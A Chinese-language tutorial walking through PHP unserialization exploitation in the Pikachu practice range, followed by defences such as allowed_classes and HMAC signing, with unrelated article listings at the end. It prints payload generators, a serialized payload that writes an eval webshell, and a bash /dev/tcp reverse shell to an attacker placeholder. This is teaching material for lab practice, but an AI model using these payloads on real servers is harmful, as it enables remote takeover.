PHP反序列化漏洞实战:从Pikachu靶场到WebShell利用
1. 项目缘起从靶场到实战的必经之路在网络安全的学习和实战演练中我们经常听到“靶场”这个词。它就像一个虚拟的射击训练场里面预设了各种类型的“靶子”——也就是安全漏洞供我们安全从业者或学习者进行无风险的攻击和防御练习。Pikachu靶场就是这样一个在国内安全圈子里非常知名的、专门为Web安全初学者设计的综合训练平台。它覆盖了SQL注入、XSS、文件上传、RCE远程代码执行等几乎所有常见的Web漏洞类型。而今天我们要深入探讨的就是其中关于PHP反序列化漏洞的关卡。为什么PHP反序列化漏洞值得单独拿出来说因为它在实际渗透测试和CTF比赛中出现的频率极高危害性也极大。一个成功的反序列化漏洞利用往往意味着攻击者可以直接在服务器上执行任意代码拿到服务器的控制权也就是常说的“getshell”。相比于SQL注入可能需要一步步“拖库”文件上传需要绕过各种过滤反序列化攻击一旦条件成熟常常是“一键直达”的效果。Pikachu靶场里的这个关卡虽然场景简单但它完美地揭示了这类漏洞的核心原理和利用链条。理解它就等于拿到了打开许多真实世界漏洞大门的其中一把钥匙。接下来我们就从最基础的概念开始一步步拆解这个漏洞并最终在Pikachu靶场中将其复现和利用。2. 核心概念拆解序列化与反序列化到底是什么在深入漏洞之前我们必须先搞清楚两个基础但至关重要的概念序列化Serialization和反序列化Unserialization。这是理解整个漏洞的基石。你可以把序列化想象成“打包”。假设你有一个复杂的乐高模型一个PHP对象里面由很多不同形状、不同颜色的零件对象的属性按照特定结构拼装而成。现在你想把这个模型完整地寄给朋友但直接寄整个模型容易损坏也不方便运输。怎么办你会把它小心翼翼地拆开把每一个零件及其所在的位置信息用一张清单详细地记录下来。这个过程就是序列化。在PHP中序列化就是把一个对象的状态属性值转换成一个可以存储或传输的字符串格式。这个字符串包含了对象的类名、属性名、属性值以及它们的类型和结构信息。反之反序列化就是“拆包并复原”。你的朋友收到了你的零件清单序列化字符串他按照清单上的说明找到对应的零件也许需要先有这些零件的模具即类定义然后一步步把乐高模型重新拼装成原来的样子。在PHP中反序列化就是把这个字符串重新转换回一个活生生的、可操作的对象。听起来很合理对吧问题就出在这个“复原”的过程。PHP的反序列化机制在重建对象时会自动调用一些特殊的“魔术方法”。这些方法的名字以双下划线__开头是PHP面向对象编程中的约定。对于反序列化漏洞而言最关键的两个魔术方法是__wakeup(): 当一个对象被反序列化即从字符串重建时这个方法会自动被调用。它通常用于重新建立数据库连接、初始化资源等。__destruct(): 当一个对象被销毁时例如脚本执行结束或对象被显式unset这个方法会自动被调用。它通常用于关闭连接、清理临时文件等。漏洞的根源在于攻击者可以控制反序列化过程中的数据那个字符串从而控制被重建对象的属性值。如果这个对象的类定义中存在__wakeup()或__destruct()方法并且这些方法中的代码在操作对象属性时存在危险行为比如把某个属性值直接用于执行系统命令那么攻击者通过精心构造序列化字符串就能“遥控”服务器执行恶意代码。3. Pikachu靶场环境搭建与代码审计理论说再多不如亲手试一下。我们先来把靶场环境跑起来。3.1 靶场部署Pikachu靶场通常是一个完整的PHP项目。假设你已经有了PHP版本5.4以上即可建议7.x和Apache/Nginx的运行环境。部署非常简单从GitHub或相关渠道下载Pikachu的源码包。将其解压到你的Web服务器根目录例如/var/www/html/或htdocs。根据其README或安装说明初始化数据库通常会提供一个SQL文件让你导入。在浏览器中访问对应的目录比如http://localhost/pikachu/如果看到可爱的皮卡丘界面说明环境搭建成功。注意永远不要在公网服务器上部署带有漏洞的靶场除非你完全清楚如何隔离和管控其网络访问。建议在本地虚拟机或隔离的Docker容器中进行练习。3.2 漏洞代码分析找到Pikachu中反序列化的关卡路径通常类似/pikachu/vul/unserilization。我们来看它的核心代码。一个典型的、存在漏洞的示例可能如下此为模拟代码用于说明原理// File: unser.php class VulnClass { public $cmd whoami; // 一个危险的属性默认值是系统命令 function __destruct() { // 当对象销毁时执行$this-cmd中的命令 system($this-cmd); } } // 用户输入点 $data $_GET[data]; if(isset($data)){ // 关键漏洞点未经过任何过滤直接反序列化用户输入 $obj unserialize($data); }这段代码的致命缺陷一目了然定义了一个VulnClass类其中有一个属性$cmd。该类有一个__destruct()魔术方法方法体是system($this-cmd)。这意味着一旦这个类的对象被销毁就会尝试执行$cmd属性中存储的系统命令。程序直接从$_GET[‘data’]获取用户输入并直接传递给unserialize()函数。攻击链条非常清晰攻击者可以构造一个序列化字符串这个字符串在反序列化后会生成一个VulnClass对象并且将对象的$cmd属性设置为任意他想要的命令如cat /etc/passwd或反弹shell的命令。当PHP脚本执行完毕这个对象被销毁__destruct()方法被自动触发攻击者的命令就被执行了。在真实的Pikachu靶场中代码可能会稍微复杂一些比如类名不同、属性更多或者命令执行点藏在__wakeup()里但核心模式万变不离其宗用户可控输入 危险魔术方法 未经校验的反序列化操作。4. 漏洞利用实战手把手构造Payload理解了原理我们来动手构造攻击载荷Payload。我们的目标是让服务器执行ipconfigWindows或ifconfigLinux命令查看网络配置信息。4.1 构造恶意序列化字符串首先我们需要在本地编写一个PHP脚本来生成我们想要的序列化字符串。因为我们需要控制$cmd的值。// File: generate_payload.php class VulnClass { // 注意类名必须与靶场中的漏洞类完全一致 public $cmd ifconfig; // 我们将要执行的命令 } $obj new VulnClass(); $payload serialize($obj); // 序列化对象 echo $payload; echo \n; echo URL编码后的Payload: . urlencode($payload);运行这个脚本php generate_payload.php你会得到类似这样的输出O:9:VulnClass:1:{s:3:cmd;s:8:ifconfig;}以及它的URL编码形式。我们来拆解一下这个字符串O:表示这是一个对象Object。9:表示对象类名的长度是9个字符。“VulnClass”:对象的类名。1:表示这个对象有1个属性。{s:3:“cmd”;s:8:“ifconfig”;}这是属性的序列化。里面是一个键值对。s:3:“cmd”:表示键属性名是一个字符串string长度为3内容是cmd。s:8:“ifconfig”:表示值属性值是一个字符串长度为8内容是ifconfig。关键点类名必须匹配。如果靶场中的类名是TestClass而你生成时用了VulnClass反序列化会失败因为PHP找不到VulnClass的定义。所以第一步永远是审计代码确定准确的类名和属性结构。4.2 发起攻击假设靶场漏洞页面的URL是http://localhost/pikachu/vul/unserilization/unser.php并且它通过data参数接收序列化数据。那么我们构造的攻击URL就是http://localhost/pikachu/vul/unserilization/unser.php?dataO:9:VulnClass:1:{s:3:cmd;s:8:ifconfig;}将这段URL在浏览器中访问或者用curl命令请求。如果漏洞存在并且服务器是Linux系统你应该能在页面返回内容中看到服务器的网络接口信息。这就证明我们成功利用了反序列化漏洞执行了系统命令。4.3 进阶利用获取Webshell执行一个简单的命令只是开始。在真实的渗透测试中我们的目标是获得一个持久的、交互式的控制通道也就是Webshell。通常我们会利用漏洞来写入一个Webshell文件。假设我们知道网站根目录是/var/www/html/pikachu/我们可以尝试写入一个最简单的PHP Webshell。我们需要修改生成Payload的脚本// File: generate_webshell_payload.php class VulnClass { public $cmd echo \?php eval(\\$_POST[\\cmd\\]);?\ /var/www/html/pikachu/shell.php; } $obj new VulnClass(); $payload serialize($obj); echo urlencode($payload);这个Payload会让服务器执行echo命令将一句话木马?php eval($_POST[‘cmd’]);?写入到shell.php文件中。然后攻击者就可以通过访问http://localhost/pikachu/shell.php并使用POST方式传递cmd参数来执行任意PHP代码从而完全控制服务器。重要警告与心得在实际靶场练习中写入文件可能会因为目录权限问题www-data用户无权写入而失败。这是非常好的一个“坑”它逼着你去思考其他方法比如寻找可写目录使用find / -type d -writable 2/dev/null命令查找。反弹Shell如果命令执行成功但无法写Webshell可以尝试用bash -c ‘bash -i /dev/tcp/攻击机IP/端口 01’这样的命令将服务器的Shell会话反弹到你的监听端口上。这需要你提前在攻击机上用nc -lvnp 端口进行监听。利用现有文件有时可以覆盖日志文件、缓存文件等使其包含PHP代码然后通过文件包含漏洞去执行。5. 漏洞的深度挖掘与链条构造Pikachu靶场的例子是教科书式的直接明了。但在真实世界和更复杂的CTF题目中漏洞利用链POP Chain的构造才是难点和精髓。危险的方法可能不是直接出现在__destruct()里而是散布在不同的类和方法中。5.1 什么是POP链POPProperty-Oriented Programming链中文常叫“面向属性编程”链。它的核心思想是通过控制一个对象的属性该属性是另一个对象从而在反序列化过程中让程序自动调用一系列本不该连续调用的魔术方法最终达到恶意目的。举个例子类A的__destruct()方法里调用了$this-inner-save()。类B的save()方法里执行了eval($this-data)。如果$this-inner属性可以被控制那么在反序列化时我们就能让一个A对象内部包含一个B对象。当A对象销毁时其__destruct()被调用进而调用B对象的save()方法最终执行代码。我们需要构造的序列化字符串就是一个A对象其inner属性指向一个我们精心设置好的B对象。5.2 在Pikachu或其他场景中寻找POP链面对一个未知的反序列化入口点我们的审计思路应该是定位入口找到unserialize()函数看它的参数是否可控。搜索魔术方法在整个代码库中搜索__wakeup(),__destruct(),__toString()当对象被当作字符串使用时调用__call()调用不可访问方法时触发等。分析危险函数在这些魔术方法内部以及它们可能调用的其他方法内部寻找eval(),assert(),system(),exec(),file_put_contents()等危险函数。追踪属性传递检查危险函数的参数是否来源于对象的某个属性而这个属性是否在反序列化时可以被我们控制。串联调用链如果危险函数不在起始的魔术方法里就看这个魔术方法调用了谁被调用的方法又属于哪个类这个类的对象能否通过属性传递进来。像拼图一样把调用链找出来。这个过程往往需要仔细阅读源代码有时甚至要借助代码审计工具进行静态分析。6. 防御之道如何避免引入反序列化漏洞作为开发者了解攻击是为了更好的防御。以下是一些关键且有效的防御措施根本方法避免反序列化不可信数据这是最彻底的一招。如果不是绝对必要不要使用unserialize()函数。对于数据传输和存储考虑使用更安全的格式如JSONjson_encode/json_decode。严格校验使用白名单如果必须使用反序列化务必对反序列化的数据来源进行严格限制。例如只反序列化来自内部、可信系统的数据。对于来自用户输入、网络请求的数据原则上不应进行反序列化。签名与完整性验证在序列化数据存储或传输前为其添加一个基于密钥的HMAC签名。在反序列化前先验证签名是否有效、数据是否被篡改。这可以防止攻击者篡改或构造恶意序列化字符串。使用安全的反序列化器考虑使用不依赖于魔术方法的、更安全的反序列化库。例如PHP的json_decode()解析JSON对象为数组或标准类stdClass对象这个过程不会自动调用任何类的魔术方法安全性高得多。魔术方法的安全编码在编写包含__wakeup()和__destruct()等魔术方法的类时要保持警惕。避免在这些方法中执行关键性、危险性的操作或者至少要对操作的对象属性进行严格的类型和内容检查。PHP特定配置与补丁unserialize_callback_func 可以在php.ini中设置这个选项指定一个回调函数。当反序列化过程中需要实例化一个未定义的类时会调用这个函数你可以在这里进行拦截和日志记录。allowed_classes参数 从PHP 7.0开始unserialize()函数增加了第二个可选参数$options其中可以设置allowed_classes只允许反序列化指定的类名列表其他类会被反序列化为__PHP_Incomplete_Class对象其魔术方法不会被调用。这是非常推荐的一种方式。// 只允许反序列化MySafeClass和AnotherSafeClass $data unserialize($input, [allowed_classes [MySafeClass, AnotherSafeClass]]);7. 从靶场到真实漏洞的思考通过Pikachu这个简单的靶场我们走完了从理解原理、审计代码、构造Payload到实际利用的完整过程。但真实世界的漏洞远比赛题复杂代码更庞大类更多调用链更深需要耐心和技巧去挖掘。过滤存在可能会有str_replace、正则过滤等需要绕过。例如如果过滤了system你可能要想办法用shell_exec、反引号、passthru或者利用动态函数调用$func($cmd)。无回显命令执行了但结果不显示在页面上盲注。这时就需要用curl、wget把结果发送到你的服务器或者用ping、sleep命令来判断漏洞是否存在。权限限制Web服务器进程如www-data、nginx用户权限很低很多操作受限制。提权Privilege Escalation是另一个大课题。练习靶场就像在驾校学车它给了你一个安全的环境去熟悉油门、刹车和方向盘。而真正的道路真实网络环境充满了未知的障碍和风险。在Pikachu之后你可以尝试去分析一些真实开源CMS、框架的历史反序列化漏洞CVE或者在更复杂的综合靶场如DVWA、WebGoat、各种CTF赛题中继续磨练你的技巧。记住核心控制数据流寻找自动执行的跳板魔术方法最终指向危险函数。这套方法论是应对大多数反序列化漏洞的不二法门。

相关新闻

C++17读写锁shared_mutex原理与实战:解决多线程数据竞争

C++17读写锁shared_mutex原理与实战:解决多线程数据竞争

1. 项目概述:为什么我们需要读写锁?在C多线程编程的实战中,数据竞争(Data Race)是每个开发者都必须面对的“头号公敌”。想象一下,你有一个高频访问的配置表,十几个线程可能同时需要读取它&…

2026/10/16 0:39:59 阅读更多 →
APMCM数学建模竞赛全攻略:从备战到获奖的完整指南

APMCM数学建模竞赛全攻略:从备战到获奖的完整指南

1. 项目概述:为什么APMCM值得你投入时间? 如果你是一名理工科或者经管类专业的大学生,正在寻找一个能真正检验自己综合能力、为简历增添硬核分量的竞赛,那么“亚太地区大学生数学建模竞赛”(APMCM)绝对应该…

2026/10/16 0:54:30 阅读更多 →
雷电模拟器与Android Studio高效调试:配置、连接与实战技巧

雷电模拟器与Android Studio高效调试:配置、连接与实战技巧

1. 为什么选择雷电模拟器作为Android Studio的调试伙伴?如果你刚开始接触Android开发,或者已经是一位老手,在真机调试之外,一定会需要一个稳定、高效的模拟器。市面上选择很多,官方的AVD(Android Virtual D…

2026/10/16 0:54:45 阅读更多 →

最新新闻

医学图像分割与通用语义分割:从U-Net到nnU-Net的主线脉络

医学图像分割与通用语义分割:从U-Net到nnU-Net的主线脉络

做语义分割方向的研究和项目,最难的不是看懂某一篇论文,而是站在全局去判断“这个思路值不值得跟进”“这个方法在医学影像上能不能用”。我这两年把语义分割和医学图像分割两个方向的论文反复筛过几轮,各种会议期刊、预印本、开源代码都过了…

2026/10/16 23:41:04 阅读更多 →
CA410色彩分析仪数字孪生模拟器:C#协议级仿真与工业测试实践

CA410色彩分析仪数字孪生模拟器:C#协议级仿真与工业测试实践

简介:这是一款面向色彩测量工程师、自动化测试开发人员及C#工业软件学习者的CA410色彩分析仪模拟工具,用于在无硬件条件下完成通信协议调试、指令响应验证与色坐标数据模拟,显著提升设备集成与上位机开发效率。资源包共45个文件,含…

2026/10/16 23:41:04 阅读更多 →
数据驱动+SIMD:粒子系统内存布局优化与百倍性能提升实战

数据驱动+SIMD:粒子系统内存布局优化与百倍性能提升实战

一个朋友找我调过一个工业仿真系统里的粒子更新逻辑。从算法上看,它简单到不能再简单——一个for循环,每个粒子做一次牛顿力学更新,整体复杂度就是标准的O(n)。但跑起来就是慢,50万粒子一帧更新要120毫秒,CPU占用还忽高…

2026/10/16 23:39:03 阅读更多 →
MCP协议与CLI工具的本质区别:协议层与交互层的分层设计

MCP协议与CLI工具的本质区别:协议层与交互层的分层设计

1. 这不是技术迭代,是概念混淆——先搞懂“MCP”和“CLI”根本不在同一维度 最近刷到好几条标题带“大厂把 MCP 换成 CLI 了”的短视频和推文,评论区一堆人跟着惊呼“MCP 被淘汰了?”“CLI 真香!”“赶紧学命令行,不然…

2026/10/16 23:39:03 阅读更多 →
APS生产计划排程系统解决方案,在制造企业中有哪些作用?

APS生产计划排程系统解决方案,在制造企业中有哪些作用?

引言随着制造业订单越来越碎片化、交期越来越短、生产约束越来越复杂,依靠 Excel、人工经验或传统 MRP 已经很难快速编制出真正可执行的生产计划。APS(Advanced Planning and Scheduling,高级计划与排程)系统正是在这一背景下出现…

2026/10/16 23:37:01 阅读更多 →
SPI技术系列 03 · SPI 速度与电气约束

SPI技术系列 03 · SPI 速度与电气约束

📚 I2C 技术系列 持续更新中 本系列从推挽电气层一路打到 Linux spi 子系统,把"四根线"背后的电气/协议/控制器/驱动/实战全拧成一根线。 👉 想系统追更,戳这里查看完整专栏: 【SPI 技术系列】 👉 其他技术…

2026/10/16 23:37:01 阅读更多 →

日新闻

个人 AI Agent 平台接入 TaoToken:统一 Key 与 API 通道的配置大纲

个人 AI Agent 平台接入 TaoToken:统一 Key 与 API 通道的配置大纲

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/16 0:00:05 阅读更多 →
信号与系统频域分析作业解题指南

信号与系统频域分析作业解题指南

1. 作业背景与核心要求解析信号与系统作为电子信息类专业的核心基础课,其作业设计往往直接关联课程的核心知识框架。2026年春季第六次作业的布置,通常对应着课程进展到频域分析的关键阶段。根据常规教学进度推测,本次作业可能涉及以下核心内容…

2026/10/16 0:00:05 阅读更多 →
Django MVT实战:从零构建图书借阅系统,彻底搞懂Model-View-Template分层

Django MVT实战:从零构建图书借阅系统,彻底搞懂Model-View-Template分层

1. 从一个"四不像"的练手项目说起如果你已经看完了Django的官方教程前几章,跟着敲完了投票应用,大概会有一种"我好像会了,又好像什么都不会"的割裂感。教程里每个知识点都是拆开的——这一章讲模型,下一章讲视…

2026/10/16 0:00:05 阅读更多 →

周新闻

流感时间序列预测实战:ARIMA/LSTM全流程拆解与避坑指南

流感时间序列预测实战:ARIMA/LSTM全流程拆解与避坑指南

简介:基于 ARIMA、LSTM、Transformer 等模型的流感时间序列预测 Python 源码,面向计算机相关专业课程设计与期末大作业学生,以及项目实战学习者。内容覆盖预处理、平稳性检验、定阶、残差分析、多模型对比预测的完整时序建模流程,…

2026/10/16 21:35:51 阅读更多 →
影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别

影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别

影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别 做影刀RPA自动化,十个新手有八个栽在"往输入框里填东西"这件事上:要么填不进去,要么填了一半,要么直接把原来内容追加在后面。这背后的根因&…

2026/10/15 19:41:51 阅读更多 →
影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容

影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容

影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容 1. 认识影刀:什么场景该用RPA采小说数据 起点中文网的页面结构相对稳定——分类榜单、书籍详情、章节内容三块独立页面,跳转链路清晰。这种场景非常适合影刀自动化&#x…

2026/10/16 15:04:24 阅读更多 →

月新闻

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/16 21:54:38 阅读更多 →
Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/16 3:49:43 阅读更多 →
黑夜航拍船只数据集训练YOLOV5模型全流程解析

黑夜航拍船只数据集训练YOLOV5模型全流程解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/16 14:23:36 阅读更多 →